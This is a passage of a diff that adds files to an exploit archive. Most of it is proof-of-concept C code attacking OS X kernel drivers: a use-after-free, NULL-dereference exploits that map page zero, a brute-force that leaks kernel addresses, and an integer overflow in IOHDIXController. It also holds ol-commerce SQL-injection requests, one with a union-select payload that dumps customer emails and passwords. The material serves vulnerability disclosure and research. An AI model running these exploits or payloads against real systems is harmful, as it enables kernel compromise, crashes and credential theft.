||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int start = 0;
|
||||
|
||||
struct spoofed_notification {
|
||||
mach_msg_header_t header;
|
||||
NDR_record_t NDR;
|
||||
mach_msg_type_number_t no_senders_count;
|
||||
};
|
||||
|
||||
struct spoofed_notification msg = {0};
|
||||
|
||||
void send_message() {
|
||||
mach_msg(&msg,
|
||||
MACH_SEND_MSG,
|
||||
msg.header.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
send_message();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char* service_name = "IntelAccelerator";
|
||||
int client_type = 7;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IOServiceOpen(service, mach_task_self(), client_type, &conn);
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
pthread_t t;
|
||||
int arg = 0;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
// build the message:
|
||||
msg.header.msgh_size = sizeof(struct spoofed_notification);
|
||||
msg.header.msgh_local_port = conn;
|
||||
msg.header.msgh_remote_port = conn;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
msg.header.msgh_id = 0106;
|
||||
|
||||
msg.no_senders_count = 1000;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
send_message();
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
101
platforms/osx/dos/39375.c
Executable file
101
platforms/osx/dos/39375.c
Executable file
|
@ -0,0 +1,101 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=565
|
||||
|
||||
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications
|
||||
|
||||
repro: while true; do ./iospoof_ig_4; done
|
||||
|
||||
Likely to crash in various ways; have observed NULL derefs and NX traps.
|
||||
|
||||
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
// clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit
|
||||
/*
|
||||
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications
|
||||
|
||||
repro: while true; do ./iospoof_ig_4; done
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int start = 0;
|
||||
|
||||
struct spoofed_notification {
|
||||
mach_msg_header_t header;
|
||||
NDR_record_t NDR;
|
||||
mach_msg_type_number_t no_senders_count;
|
||||
};
|
||||
|
||||
struct spoofed_notification msg = {0};
|
||||
|
||||
void send_message() {
|
||||
mach_msg(&msg,
|
||||
MACH_SEND_MSG,
|
||||
msg.header.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
send_message();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char* service_name = "IntelAccelerator";
|
||||
int client_type = 4;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IOServiceOpen(service, mach_task_self(), client_type, &conn);
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
pthread_t t;
|
||||
int arg = 0;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
// build the message:
|
||||
msg.header.msgh_size = sizeof(struct spoofed_notification);
|
||||
msg.header.msgh_local_port = conn;
|
||||
msg.header.msgh_remote_port = conn;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
msg.header.msgh_id = 0106;
|
||||
|
||||
msg.no_senders_count = 1000;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
send_message();
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
71
platforms/osx/dos/39376.c
Executable file
71
platforms/osx/dos/39376.c
Executable file
|
@ -0,0 +1,71 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=562
|
||||
|
||||
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.
|
||||
|
||||
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference
|
||||
|
||||
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int main() {
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = 'A';
|
||||
}
|
||||
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IOServiceOpen(service, mach_task_self(), 12, &conn); // <-- userclient type 12
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("boom?\n");
|
||||
|
||||
return 0;
|
||||
}
|
312
platforms/osx/dos/39380.c
Executable file
312
platforms/osx/dos/39380.c
Executable file
|
@ -0,0 +1,312 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=512
|
||||
|
||||
IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."
|
||||
|
||||
In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
|
||||
to define the semantics of what "informing the connection of a second connection" actually means.
|
||||
|
||||
One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
|
||||
(which are the intel GPU accelerator userclients.)
|
||||
|
||||
IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.
|
||||
|
||||
Here's the relevant kernel code from IOAcceleratorFamily2:
|
||||
|
||||
__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
|
||||
__text:00000000000057E6 public __ZN15IOAccelContext213connectClientEP12IOUserClient
|
||||
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
|
||||
__text:00000000000057E6 ; DATA XREF: __const:000000000003BEE8o
|
||||
__text:00000000000057E6 ; __const:000000000003D2D80o ...
|
||||
__text:00000000000057E6 push rbp
|
||||
__text:00000000000057E7 mov rbp, rsp
|
||||
__text:00000000000057EA push r15
|
||||
__text:00000000000057EC push r14
|
||||
__text:00000000000057EE push r12
|
||||
__text:00000000000057F0 push rbx
|
||||
__text:00000000000057F1 mov rbx, rdi
|
||||
__text:00000000000057F4 mov r14d, 0E00002C2h
|
||||
__text:00000000000057FA cmp qword ptr [rbx+510h], 0
|
||||
__text:0000000000005802 jnz loc_590F
|
||||
__text:0000000000005808 lea rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
|
||||
__text:000000000000580F mov rax, [rax]
|
||||
__text:0000000000005812 mov rdi, rsi ; <-- (a)
|
||||
__text:0000000000005815 mov rsi, rax
|
||||
__text:0000000000005818 call __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
|
||||
__text:000000000000581D mov r15, rax ; <-- (b)
|
||||
__text:0000000000005820 mov r12, [rbx+518h]
|
||||
__text:0000000000005827 cmp r12, [r15+0F8h] ; <-- (c)
|
||||
__text:000000000000582E jnz loc_590F
|
||||
__text:0000000000005834 mov rax, [r15+0E0h]
|
||||
__text:000000000000583B mov r14d, 0E00002BCh
|
||||
__text:0000000000005841 cmp rax, [rbx+4E8h] ; <-- (d)
|
||||
__text:0000000000005848 jnz loc_590F
|
||||
...
|
||||
__text:0000000000005879 mov rdi, [r15+100h]
|
||||
__text:0000000000005880 mov [rbx+510h], rdi
|
||||
__text:0000000000005887 mov rax, [rdi]
|
||||
__text:000000000000588A call qword ptr [rax+20h] ; <-- (e)
|
||||
|
||||
At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
|
||||
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
|
||||
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.
|
||||
|
||||
The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
|
||||
is used without any checking.
|
||||
|
||||
At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
|
||||
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
|
||||
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
|
||||
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
|
||||
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
|
||||
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
|
||||
value to determine if we made it past the first check, and only then start guessing the second pointer.
|
||||
|
||||
In reality you can guess both the pointers in a few seconds.
|
||||
|
||||
After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)
|
||||
|
||||
Tested on OS X 10.10.5 (14F27)
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// build:clang -o client_connect client_connect.c -m32 -framework IOKit -g -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
Failure to check return value of OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient leads to
|
||||
kernel address space layout leak and exploitable NULL dereference
|
||||
|
||||
IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."
|
||||
|
||||
In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
|
||||
to define the semantics of what "informing the connection of a second connection" actually means.
|
||||
|
||||
One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
|
||||
(which are the intel GPU accelerator userclients.)
|
||||
|
||||
IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.
|
||||
|
||||
Here's the relevant kernel code from IOAcceleratorFamily2:
|
||||
|
||||
__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
|
||||
__text:00000000000057E6 public __ZN15IOAccelContext213connectClientEP12IOUserClient
|
||||
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
|
||||
__text:00000000000057E6 ; DATA XREF: __const:000000000003BEE8o
|
||||
__text:00000000000057E6 ; __const:000000000003D2D80o ...
|
||||
__text:00000000000057E6 push rbp
|
||||
__text:00000000000057E7 mov rbp, rsp
|
||||
__text:00000000000057EA push r15
|
||||
__text:00000000000057EC push r14
|
||||
__text:00000000000057EE push r12
|
||||
__text:00000000000057F0 push rbx
|
||||
__text:00000000000057F1 mov rbx, rdi
|
||||
__text:00000000000057F4 mov r14d, 0E00002C2h
|
||||
__text:00000000000057FA cmp qword ptr [rbx+510h], 0
|
||||
__text:0000000000005802 jnz loc_590F
|
||||
__text:0000000000005808 lea rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
|
||||
__text:000000000000580F mov rax, [rax]
|
||||
__text:0000000000005812 mov rdi, rsi ; <-- (a)
|
||||
__text:0000000000005815 mov rsi, rax
|
||||
__text:0000000000005818 call __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
|
||||
__text:000000000000581D mov r15, rax ; <-- (b)
|
||||
__text:0000000000005820 mov r12, [rbx+518h]
|
||||
__text:0000000000005827 cmp r12, [r15+0F8h] ; <-- (c)
|
||||
__text:000000000000582E jnz loc_590F
|
||||
__text:0000000000005834 mov rax, [r15+0E0h]
|
||||
__text:000000000000583B mov r14d, 0E00002BCh
|
||||
__text:0000000000005841 cmp rax, [rbx+4E8h] ; <-- (d)
|
||||
__text:0000000000005848 jnz loc_590F
|
||||
...
|
||||
__text:0000000000005879 mov rdi, [r15+100h]
|
||||
__text:0000000000005880 mov [rbx+510h], rdi
|
||||
__text:0000000000005887 mov rax, [rdi]
|
||||
__text:000000000000588A call qword ptr [rax+20h] ; <-- (e)
|
||||
|
||||
At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
|
||||
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
|
||||
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.
|
||||
|
||||
The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
|
||||
is used without any checking.
|
||||
|
||||
At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
|
||||
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
|
||||
untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
|
||||
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
|
||||
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
|
||||
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
|
||||
value to determine if we made it past the first check, and only then start guessing the second pointer.
|
||||
|
||||
In reality you can guess both the pointers in a few seconds.
|
||||
|
||||
After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)
|
||||
|
||||
Tested on OS X 10.10.5 (14F27)
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t get_accel_connection() {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 1, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}else{
|
||||
printf("got userclient connection: %x, type:%d\n", conn, 0);
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
return conn;
|
||||
}
|
||||
|
||||
io_connect_t get_some_client() {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching("AppleRTC");
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}else{
|
||||
printf("got userclient connection: %x, type:%d\n", conn, 0);
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
return conn;
|
||||
}
|
||||
|
||||
kern_return_t guess_first(uint64_t guess, io_connect_t a, io_connect_t b) {
|
||||
uint64_t* fake_obj = 0;
|
||||
fake_obj[0xf8/8] = guess;
|
||||
|
||||
return IOConnectAddClient(a, b);
|
||||
}
|
||||
|
||||
// need to make something like 65k guesses in the worst cast to find the IntelAccelerator object
|
||||
// (it's page aligned and we search a 512MB region)
|
||||
uint64_t find_intel_accelerator_addr(io_connect_t a, io_connect_t b) {
|
||||
uint64_t guess = 0xffffff8010000000;
|
||||
while (guess < 0xffffff8030000000) {
|
||||
printf("trying 0x%llx\n", guess);
|
||||
if (guess_first(guess, a, b) == 0xe00002bc) {
|
||||
printf("got it: 0x%llx\n", guess);
|
||||
return guess;
|
||||
}
|
||||
guess += 0x1000;
|
||||
}
|
||||
printf("no luck\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t guess_second(uint64_t guess, uint64_t accel_addr, io_connect_t a, io_connect_t b) {
|
||||
uint64_t* fake_obj = 0;
|
||||
fake_obj[0xf8/8] = accel_addr;
|
||||
|
||||
fake_obj[0xe0/8] = guess;
|
||||
|
||||
return IOConnectAddClient(a, b);
|
||||
}
|
||||
|
||||
uint64_t find_second_addr(uint64_t accel_addr, io_connect_t a, io_connect_t b) {
|
||||
uint64_t guess = accel_addr - 0x1000000; // reasonable place to start guessing
|
||||
while (guess < 0xffffff8030000000) {
|
||||
printf("trying 0x%llx\n", guess);
|
||||
if (guess_second(guess, accel_addr, a, b) != 0xe00002bc) {
|
||||
// not reached: we will call retain on the object at NULL now
|
||||
// and will kernel panic reading the function pointer from the vtable at 414141...
|
||||
printf("got it: 0x%llx\n", guess);
|
||||
return guess;
|
||||
}
|
||||
guess += 0x10;
|
||||
}
|
||||
printf("no luck\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(){
|
||||
kern_return_t err;
|
||||
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = 'A';
|
||||
}
|
||||
|
||||
io_connect_t accel_connect = get_accel_connection();
|
||||
|
||||
// create an unrelated client
|
||||
io_connect_t a_client = get_some_client();
|
||||
|
||||
uint64_t first_addr = find_intel_accelerator_addr(accel_connect, a_client);
|
||||
uint64_t second_addr = find_second_addr(first_addr, accel_connect, a_client);
|
||||
return 0;
|
||||
}
|
116
platforms/osx/dos/39381.c
Executable file
116
platforms/osx/dos/39381.c
Executable file
|
@ -0,0 +1,116 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=511
|
||||
|
||||
Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0.
|
||||
|
||||
IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer.
|
||||
|
||||
The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer.
|
||||
|
||||
It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :)
|
||||
*/
|
||||
|
||||
/* ianbeer
|
||||
clang -o iohdix iohdix.c -framework IOKit
|
||||
Integer Overflow in IOHDIXControllerUserClient::convertClientBuffer leading to undersized kalloc allocation passed to DMA code
|
||||
|
||||
Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads
|
||||
a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to
|
||||
by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size,
|
||||
casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can
|
||||
cause an integer overflow and IOMalloc will be passed a size of 0.
|
||||
|
||||
IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel
|
||||
heap pointer.
|
||||
|
||||
The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer
|
||||
in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized
|
||||
kernel heap buffer.
|
||||
|
||||
It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail somewhere inside that DMA code
|
||||
as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of
|
||||
that allowing us to actually overwrite stuff :)
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int main(){
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching("IOHDIXController");
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}else{
|
||||
printf("got userclient connection: %x, type:%d\n", conn, 0);
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
void* mem = malloc(0x100000000);
|
||||
uint64_t msg[0x100/8] = {0};
|
||||
msg[0] = 0xbeeffeed; // +0x00
|
||||
msg[1] = (uint64_t)mem;
|
||||
msg[2] = 0xffffffff; // +0x10
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint64_t inputScalarCnt = 0;
|
||||
|
||||
//char inputStruct[4096];
|
||||
//size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 4;
|
||||
|
||||
// create a queue
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
0x5,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
msg,
|
||||
0x100,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOConnectCall error: %x\n", err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
40
platforms/php/webapps/39343.txt
Executable file
40
platforms/php/webapps/39343.txt
Executable file
|
@ -0,0 +1,40 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/OL-Commerce/affiliate_signup.php
|
||||
|
||||
POST /OL-Commerce/affiliate_signup.php HTTP/1.1
|
||||
Host: www.example.com
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
|
||||
Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://www.example.com/o/affiliate_signup.php
|
||||
Cookie:
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 629
|
||||
|
||||
action=process&a_gender=m&a_firstname=haha&a_lastname=hahasdf&a_dob=457689
|
||||
&a_email_address=email@hotmail.com&a_company=iiiiii&a_company_taxid=12
|
||||
&a_payment_check=jjjjjj&a_payment_paypal=email@hotmail.com
|
||||
&a_payment_bank_name=paypal
|
||||
&a_payment_bank_branch_number=555555&a_payment_bank_swift_code=444444
|
||||
&a_payment_bank_account_name=qqqqqq&a_payment_bank_account_number=3333333
|
||||
&a_street_address=ddddddd&a_suburb=ccccccf&a_postcode=00961&a_city=bbbbbb
|
||||
&a_country=118[SQL
|
||||
INJECTION]&a_state=aaaaaa&a_telephone=22222222&a_fax=11111111&
|
||||
a_homepage=http://iphobos.com/blog&a_password=12121212
|
||||
&a_confirmation=12121212&a_agb=1&x=65&y=3
|
||||
|
||||
|
||||
[NOTE]
|
||||
------
|
||||
a_country=118[SQL INJECTION]=118' and 1=2 union all select
|
||||
group_concat(customers_id,0x3a,customers_email_address,0x3a,customers_password)+from+customers--
|
10
platforms/php/webapps/39344.txt
Executable file
10
platforms/php/webapps/39344.txt
Executable file
|
@ -0,0 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
|
||||
http://www.example.com/OL-Commerce/affiliate_show_banner.php?ref=1&affiliate_banner_id=1[SQL INJECTION]
|
38
platforms/php/webapps/39345.txt
Executable file
38
platforms/php/webapps/39345.txt
Executable file
|
